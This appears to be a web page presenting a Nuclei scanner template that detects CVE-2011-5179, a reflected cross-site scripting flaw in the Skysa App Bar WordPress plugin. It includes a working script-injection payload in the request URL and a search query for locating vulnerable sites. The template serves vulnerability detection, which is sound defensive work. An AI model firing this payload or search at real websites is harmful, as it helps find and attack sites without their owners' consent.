Skysa App Bar 1.04 - Cross-Site Scripting

ID: CVE-2011-5179

Severity: medium

Author: daffainfo

Tags: cve,cve2011,wordpress,xss,wp-plugin,skysa

Description

A cross-site scripting vulnerability in skysa-official/skysa.php in Skysa App Bar Integration plugin, possibly before 1.04, for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.

YAML Source

id: CVE-2011-5179

info:
  name: Skysa App Bar 1.04 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in skysa-official/skysa.php in Skysa App Bar Integration plugin, possibly before 1.04, for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Skysa App Bar or apply appropriate security controls to sanitize user input and prevent XSS attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5179
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71486
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5179
    cwe-id: CWE-79
    epss-score: 0.00232
    epss-percentile: 0.61346
    cpe: cpe:2.3:a:skysa:skysa_app_bar_integration_plugin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: skysa
    product: "skysa_app_bar_integration_plugin"
    google-query: "inurl:\"/wp-content/plugins/skysa-official/\""
  tags: cve,cve2011,wordpress,xss,wp-plugin,skysa
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/skysa-official/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Skysa App'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/skysa-official/skysa.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009d75d2dcb4b221a825d6b26cd995b77ff0de0fddcc45cbe7d3c29a4694c57c3e022100c824549900f29b6cd3671faa4d473e78deb4156403e4054fcdd97c430a499067:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2011/CVE-2011-5179.yaml"

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